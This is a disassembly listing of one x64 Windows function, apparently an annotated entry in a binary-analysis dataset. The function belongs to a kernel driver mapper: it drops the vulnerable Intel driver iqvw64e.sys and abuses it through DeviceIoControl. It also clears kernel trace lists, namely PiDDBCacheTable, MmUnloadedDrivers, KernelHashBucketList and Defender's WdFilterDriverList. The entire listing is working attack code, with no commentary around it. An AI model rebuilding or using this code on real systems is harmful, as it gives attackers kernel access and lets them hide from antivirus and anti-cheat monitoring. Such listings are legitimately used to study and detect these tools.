Function at 0x140001960
Capabilities:
Delete file

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0xe0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x58], 0xfffffffffffffffe
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul eax, esi
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea rcx, str..Nal
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea rcx, [rax + 1]
cmp rcx, 2
jae 0x140001c2e
xorps xmm0, xmm0
movaps xmmword [0x1400248a0], xmm0
movaps xmmword [0x140024890], xmm0
movaps xmmword [0x140024880], xmm0
movaps xmmword [0x140024870], xmm0
movaps xmmword [0x140024860], xmm0
movaps xmmword [0x140024850], xmm0
mov dword [0x1400248b0], 0
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rsi, eax
imul rax, rsi, 0x66666667
mov rcx, rax
shr rcx, 0x3f
sar rax, 0x23
add eax, ecx
shl eax, 2
lea eax, [rax + rax*4]
sub esi, eax
cmp esi, 0xfffffff7
jl 0x140001a88
add esi, 0xa
xor edi, edi
mov r14, qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movabs r15, 0x4ec4ec4ec4ec4ec5
lea r12, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
lea rbx, [0x140024850]
nop
call r14
movsxd rcx, eax
mov rax, rcx
mul r15
shr rdx, 4
imul rax, rdx, 0x34
sub rcx, rax
movzx eax, byte [r12 + rcx]
mov byte [rdi + rbx], al
add rdi, 1
cmp rsi, rdi
jne 0x140001a60
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Loading_vulnerable_driver__Name:
call fcn.1400022d0
mov rsi, rax
lea rdi, [rbp - 0x10]
mov rcx, rdi
call section..text
mov r8, qword [rbp]
cmp qword [rbp + 8], 7
jbe 0x140001ab9
mov rdi, qword [rbp - 0x10]
mov rcx, rsi
mov rdx, rdi
call fcn.14000b9d0
mov rsi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rsi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rsi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
mov rax, qword [rbp + 8]
cmp rax, 8
jb 0x140001b33
mov rcx, qword [rbp - 0x10]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x140001b2e
mov rdx, rcx
add rdx, 0xfffffffffffffff8
mov rcx, qword [rcx - 8]
sub rdx, rcx
cmp rdx, 0x20
jae 0x14000213d
add rax, rax
add rax, 0x29
mov rdx, rax
call fcn.140010960
lea rsi, [rbp + 0x30]
mov rcx, rsi
call fcn.140001160
cmp qword [rbp + 0x40], 0
je 0x140001c7f
cmp qword [rbp + 0x48], 7
mov rcx, rsi
jbe 0x140001b58
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
lea rdx, [0x140012040]
mov r8d, 0x8708
mov rcx, rsi
call fcn.1400103b0
test al, al
je 0x140001cc7
call fcn.140001530
test al, al
je 0x140001d0f
lea rsi, [rbp + 0x30]
mov rcx, rsi
call fcn.14000f230
test al, al
je 0x140001d58
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea rcx, str..Nal
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
add rax, 1
cmp rax, 1
ja 0x140001e10
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_load_driver_iqvw64e.sys
call fcn.1400022d0
mov rdi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rdi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rdi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
mov rcx, rsi
call fcn.140002560
mov rsi, 0xffffffffffffffff
jmp 0x140001db5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____DeviceNal_is_already_in_use.
call fcn.1400022d0
mov rsi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rsi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rsi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
mov rsi, 0xffffffffffffffff
jmp 0x140001dfb
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Cant_find_TEMP_folder
call fcn.1400022d0
mov rdi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rdi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rdi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rsi, 0xffffffffffffffff
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
jmp 0x140001db5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_create_vulnerable_driver_file
call fcn.1400022d0
mov rdi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rdi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rdi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rsi, 0xffffffffffffffff
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
jmp 0x140001db5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_acquire_SeDebugPrivilege
call fcn.1400022d0
mov rsi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rsi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rsi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
cmp qword [rbp + 0x48], 7
jbe 0x140001da4
mov rcx, qword [rbp + 0x30]
jmp 0x140001da8
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_register_and_start_service_for_the_vulnerable_driver
call fcn.1400022d0
mov rdi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rdi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rdi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
cmp qword [rbp + 0x48], 7
jbe 0x140001d9f
mov rsi, qword [rbp + 0x30]
mov rcx, rsi
jmp 0x140001da8
lea rcx, [rbp + 0x30]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
mov rsi, 0xffffffffffffffff
mov rax, qword [rbp + 0x48]
cmp rax, 8
jb 0x140001dfb
mov rcx, qword [rbp + 0x30]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x140001df6
mov rdx, rcx
add rdx, 0xfffffffffffffff8
mov rcx, qword [rcx - 8]
sub rdx, rcx
cmp rdx, 0x20
jae 0x14000213d
add rax, rax
add rax, 0x29
mov rdx, rax
call fcn.140010960
mov rax, rsi
add rsp, 0xe0
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
movaps xmm0, xmmword [0x14001a780]
movups xmmword [rbp], xmm0
movabs rax, 0x6c6e726b736f746e
mov qword [rbp - 0x10], rax
mov dword [rbp - 8], 0x6578652e
mov byte [rbp - 4], 0
lea rdi, [rbp - 0x10]
mov rcx, rdi
call fcn.1400105e0
mov qword [0x140024840], rax
mov rbx, qword [rbp + 8]
cmp rbx, 0x10
jb 0x140001e8d
mov rcx, qword [rbp - 0x10]
lea rdx, [rbx + 1]
cmp rdx, 0x1000
jb 0x140001e81
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x14000213d
add rbx, 0x28
mov rdx, rbx
mov rcx, rax
call fcn.140010960
mov rax, qword [0x140024840]
test rax, rax
je 0x140001ffd
xorps xmm0, xmm0
movaps xmmword [rbp + 0x20], xmm0
movaps xmmword [rbp + 0x10], xmm0
movaps xmmword [rbp], xmm0
movaps xmmword [rbp - 0x10], xmm0
movaps xmm0, xmmword [0x14001a790]
movaps xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdi
mov qword [rbp - 0x20], 0x40
mov dword [rbp + 0x54], 0
lea rax, [rbp + 0x54]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r8, [rbp - 0x40]
mov rcx, rsi
mov edx, 0x80862007
mov r9d, 0x28
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x140001fad
movzx eax, word [rbp - 0x10]
cmp eax, 0x5a4d
jne 0x140001fad
mov rcx, rsi
call fcn.140002b50
test al, al
je 0x14000204d
mov rcx, rsi
call fcn.1400036e0
test al, al
je 0x14000209d
mov rcx, rsi
call fcn.140004a40
test al, al
je 0x1400020ed
mov rcx, rsi
call fcn.140005050
test al, al
jne 0x140001db5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_ClearWdFilterDriverList
call fcn.1400015e0
mov rdi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rdi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rdi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
mov rcx, rsi
call fcn.140002560
mov rsi, 0xffffffffffffffff
jmp 0x140001db5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Cant_exploit_intel_driver__is_there_any_antivirus_or_anticheat_running_
call fcn.1400022d0
mov rdi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rdi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rdi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
mov rcx, rsi
call fcn.140002560
mov rsi, 0xffffffffffffffff
jmp 0x140001db5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_get_ntoskrnl.exe
call fcn.1400022d0
mov rdi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rdi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rdi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
mov rcx, rsi
call fcn.140002560
mov rsi, 0xffffffffffffffff
jmp 0x140001db5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_ClearPiDDBCacheTable
call fcn.1400022d0
mov rdi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rdi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rdi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
mov rcx, rsi
call fcn.140002560
mov rsi, 0xffffffffffffffff
jmp 0x140001db5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_ClearKernelHashBucketList
call fcn.1400022d0
mov rdi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rdi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rdi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
mov rcx, rsi
call fcn.140002560
mov rsi, 0xffffffffffffffff
jmp 0x140001db5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_ClearMmUnloadedDrivers
call fcn.1400022d0
mov rdi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rdi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rdi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
mov rcx, rsi
call fcn.140002560
mov rsi, 0xffffffffffffffff
jmp 0x140001db5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3